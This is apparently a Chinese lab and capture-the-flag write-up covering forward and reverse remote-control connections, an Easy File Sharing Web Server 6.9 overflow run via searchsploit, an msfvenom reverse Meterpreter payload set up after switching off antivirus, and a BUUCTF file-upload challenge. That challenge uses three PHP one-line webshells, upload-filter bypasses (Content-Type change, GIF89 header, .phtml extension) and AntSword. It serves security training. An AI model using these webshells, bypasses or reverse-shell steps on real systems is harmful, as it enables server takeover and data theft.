远程控制攻击(正向连接 vs 反向连接)

远程连接攻击是渗透测试、网络安全实训中常用的技术(仅限授权场景),核心目标是建立主控端与被控端的通信通道,实现对目标设备的远程控制。其核心分为「正向连接」和「反向连接」两种模式,本质差异在于连接发起方不同。

正向连接(主动连接模式)

核心逻辑:主控端主动发起连接,被控端被动监听
类比:你(主控端)主动拨打朋友(被控端)的电话,朋友提前守在电话旁等待接听。

极简流程:
攻击者在被控端植入「正向木马」,配置木马在特定端口(如 8888)监听;
主控端(如 Kali)通过被控端的公网 IP + 监听端口,主动发起连接请求;
被控端验证连接后建立通道,攻击者通过通道控制目标设备。

反向连接(被动连接模式)

核心逻辑:被控端主动发起连接,主控端被动监听
类比:朋友(被控端)提前记下你的电话号码,主动拨打给你(主控端),你只需等待来电即可。

极简流程(对应你的实验):
攻击者在主控端(Kali)用msfvenom生成「反向木马」(内置主控端 IP + 监听端口);
主控端通过Metasploitmulti/handler模块,在指定端口(如5000)开启监听;
被控端(Windows 靶机)运行反向木马后,主动向主控端的 IP + 端口发起连接;
主控端接收连接并建立稳定通道(如Meterpreter会话),实现远程控制。

正向——Easy File Sharing Web Server——远程溢出漏洞

首先我们的目标机(被攻击机器)启动Easy File Sharing Web Server服务(注意服务端口不要与其他服务冲突);

扫描目标机端口和服务类型,

发现在80端口开启了Easy File Sharing Web Server 6.9版本的http服务;

searchsploit(Exploit-DB 漏洞库工具搜索该软件的漏洞,找到对应6.9版本的漏洞利用脚本,

运行对应的Exploit脚本(39009.py)该版本的远程栈溢出漏洞,

如果远程攻击成功,目标机器就会运行计算器,弹出计算器界面。

反向连接——对被控端windows的控制

使用msfvenom生成Windows平台的反向TCP Meterpreter Payload(payload.exe),参数匹配主控端(攻击者机器)的IP和端口,因为这个payload是在被控端(被攻击者机器)上运行向攻击者机器发送连接请求(从内部发送的请求不会被防火墙检测);

payload放到被控端,

关掉被控端的病毒与威胁保护(确保你的网络环境是安全的!建议使用虚拟机),因为生成的payload很简单,很容易被识别查杀,

如果不关闭完全(主要是时实保护和篡改保护),

payload就会运行不成功。

主控端Kali中通过multi/handler模块配置反向TCP监听,参数(payload,lhost,lport)与生成Payload时的一致,

连接成功,建立Meterpreter交互会话;

执行show_mount命令查看目标系统磁盘资源,确认已获得目标系统的远程控制权限。

蚁剑连接

简要介绍

中国蚁剑(AntSword)是一款开源跨平台的WebShell管理工具,面向合法授权的渗透测试人员与网站管理员,用于远程服务器WebShell管理与持久化控制,可替代老旧的 “中国菜刀”,支持Windows、Linux、macOS等系统。以下是
定位:WebShell管理平台,通过连接目标服务器上的一句话木马,实现对服务器的文件、命令、数据库等管控,是红队渗透与安全运维的常用工具。
核心功能

1
2
3
4
5
6
7
功能模块	
WebShell管理 支持多语言 Shell、自定义编码(UTF - 8/GBK 等),可批量添加、分组管理 Shell,适配不同木马配置
文件管理 提供上传、下载、编辑、删除、断点续传、目录打包等,高效管理服务器文件
虚拟终端 模拟系统终端,执行whoami、ls、netstat等命令,获取服务器权限与状态信息
数据库管理 支持 MySQL、MSSQL、SQLite 等主流数据库,图形化执行 SQL 查询、数据操作
代理与免杀 内置 HTTP/HTTPS/SOCKS4/SOCKS5 代理,自定义编码器可绕过 WAF,提升通信隐蔽性
插件扩展 插件市场丰富,可拓展免杀、内网渗透、信息收集等功能,支持自定义开发

简单使用示例

以一道web题作为示例:BUUCTF-[极客大挑战 2019]Upload

打开靶机,看到一个文件上传入口,结合题目可以知道这是一个文件上传漏洞
首先想到的是木马上传,创建一个php文件,写上一句话木马并上传
一句话木马的基本写法

1
2
3
4
1.<?php @eval($_POST['cmd']);?>
2.<?=@eval($_POST['cmd']);?>
3.<script language="php">eval($_REQUEST[cmd])</script>



返回结果

反应上传文件为图片文件才行,使用Burp抓包修改数据包进行绕过

Content-Type修改为image/jpeg
返回结果反应不能是php文件,修改后缀名.txt(试试其他后缀名也可以,不被过滤就行)

<?被过滤,换另一个木马格式


回显还是说不能上传,说明他可能坚持文件头,我们可以用文件头欺骗绕过一下,
在文件最开始加上GIF89


回显上传成功,现在我们需要找到木马文件(test.php)的位置
一般猜测在upload文件下

发现它直接以文本形式展示出来(可能是.txt后缀名的原因),这并不会起到木马的作用,相当于只是上传一个文本文件上去
将文件后缀改为phtml(.phtml 是早期pHP文件的一种后缀名)


文件上传成功,打开蚁剑,尝试链接

测试连接,成功会显示为

查找flag(一般在根目录下)


找到flag